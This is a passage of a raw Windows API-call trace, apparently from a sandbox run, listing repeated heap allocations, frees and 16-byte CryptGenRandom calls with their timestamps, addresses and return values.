RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a83f0 [0145.596] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664df4 | out: pbBuffer=0x3664df4) returned 1 [0145.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0145.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0145.596] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0145.596] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8260 [0145.644] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b4c | out: pbBuffer=0x3664b4c) returned 1 [0145.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0145.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8468 [0145.670] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ee4 | out: pbBuffer=0x3664ee4) returned 1 [0145.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0145.670] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0145.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0145.671] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8468 [0145.684] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664994 | out: pbBuffer=0x3664994) returned 1 [0145.684] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0145.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0145.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0145.685] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8468 [0145.708] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664da4 | out: pbBuffer=0x3664da4) returned 1 [0145.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0145.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0145.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0145.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8468 [0145.717] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cdc | out: pbBuffer=0x3664cdc) returned 1 [0145.725] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b9c | out: pbBuffer=0x3664b9c) returned 1 [0145.734] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0145.743] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36641c4 | out: pbBuffer=0x36641c4) returned 1 [0145.751] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664d2c | out: pbBuffer=0x3664d2c) returned 1 [0145.761] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36647dc | out: pbBuffer=0x36647dc) returned 1 [0145.770] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664124 | out: pbBuffer=0x3664124) returned 1 [0145.778] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664354 | out: pbBuffer=0x3664354) returned 1 [0145.811] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646f34 | out: pbBuffer=0x3646f34) returned 1 [0145.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0145.812] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0145.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0145.816] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646dcc | out: pbBuffer=0x3646dcc) returned 1 [0145.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0145.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0145.820] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35752dc | out: pbBuffer=0x35752dc) returned 1 [0145.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0145.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0145.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a7f68 [0145.824] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689e4 | out: pbBuffer=0x36689e4) returned 1 [0145.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0145.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0145.831] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35754e4 | out: pbBuffer=0x35754e4) returned 1 [0145.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0145.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0145.893] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cdc | out: pbBuffer=0x3662cdc) returned 1 [0145.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0145.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0145.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0145.913] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662714 | out: pbBuffer=0x3662714) returned 1 [0145.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0145.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.918] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662944 | out: pbBuffer=0x3662944) returned 1 [0145.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0145.918] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0145.918] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a7e50 [0145.922] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662f5c | out: pbBuffer=0x3662f5c) returned 1 [0145.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.922] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0145.922] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0145.926] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b9c | out: pbBuffer=0x3662b9c) returned 1 [0145.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.930] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ee4 | out: pbBuffer=0x3662ee4) returned 1 [0145.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0145.931] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8008 [0145.936] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36628f4 | out: pbBuffer=0x36628f4) returned 1 [0145.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0145.936] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0145.936] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0145.939] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662764 | out: pbBuffer=0x3662764) returned 1 [0145.946] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a19c | out: pbBuffer=0x366a19c) returned 1 [0145.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0145.946] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.946] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a7ec8 [0145.950] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0d4 | out: pbBuffer=0x366a0d4) returned 1 [0145.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0145.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0145.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0145.954] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3cc | out: pbBuffer=0x366a3cc) returned 1 [0145.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0145.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0145.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8058 [0145.958] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a584 | out: pbBuffer=0x366a584) returned 1 [0145.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0145.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.961] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0ac | out: pbBuffer=0x366a0ac) returned 1 [0145.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0145.961] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0145.961] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0145.965] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a46c | out: pbBuffer=0x366a46c) returned 1 [0145.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0145.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0145.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x37a8058 [0145.969] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8a4 | out: pbBuffer=0x366a8a4) returned 1 [0145.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0145.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.972] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0145.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.976] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0145.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0145.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0145.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0145.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e38 [0145.980] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a714 | out: pbBuffer=0x366a714) returned 1 [0145.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0145.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0145.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0145.983] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0145.987] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a91c | out: pbBuffer=0x366a91c) returned 1 [0145.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0145.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0145.987] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0145.987] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5eb0 [0145.991] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a494 | out: pbBuffer=0x366a494) returned 1 [0145.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0145.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0145.991] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0145.994] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac8c | out: pbBuffer=0x366ac8c) returned 1 [0145.998] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa0c | out: pbBuffer=0x366aa0c) returned 1 [0145.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0145.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0145.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.001] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af5c | out: pbBuffer=0x366af5c) returned 1 [0146.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0146.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.004] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a854 | out: pbBuffer=0x366a854) returned 1 [0146.008] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab74 | out: pbBuffer=0x366ab74) returned 1 [0146.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0146.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.013] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a994 | out: pbBuffer=0x366a994) returned 1 [0146.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0146.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.016] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a5ac | out: pbBuffer=0x366a5ac) returned 1 [0146.016] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0146.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.017] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c6068 [0146.020] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab9c | out: pbBuffer=0x366ab9c) returned 1 [0146.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0146.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.024] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa5c | out: pbBuffer=0x366aa5c) returned 1 [0146.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0146.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.028] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a82c | out: pbBuffer=0x366a82c) returned 1 [0146.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0146.028] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.032] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a73c | out: pbBuffer=0x366a73c) returned 1 [0146.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.036] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b534 | out: pbBuffer=0x366b534) returned 1 [0146.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.040] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b5fc | out: pbBuffer=0x366b5fc) returned 1 [0146.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0146.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.045] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b64c | out: pbBuffer=0x366b64c) returned 1 [0146.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0146.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.066] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b6ec | out: pbBuffer=0x366b6ec) returned 1 [0146.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0146.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.070] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b764 | out: pbBuffer=0x366b764) returned 1 [0146.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0146.071] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.074] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b0ac | out: pbBuffer=0x366b0ac) returned 1 [0146.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0146.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.078] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b1ec | out: pbBuffer=0x366b1ec) returned 1 [0146.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0146.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.082] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b174 | out: pbBuffer=0x366b174) returned 1 [0146.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0146.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.086] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b19c | out: pbBuffer=0x366b19c) returned 1 [0146.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0146.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.090] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b034 | out: pbBuffer=0x366b034) returned 1 [0146.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0146.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.095] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b1c4 | out: pbBuffer=0x366b1c4) returned 1 [0146.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0146.096] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.096] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fc8 [0146.099] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b304 | out: pbBuffer=0x366b304) returned 1 [0146.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.100] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0146.100] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.104] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b2dc | out: pbBuffer=0x366b2dc) returned 1 [0146.107] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b41c | out: 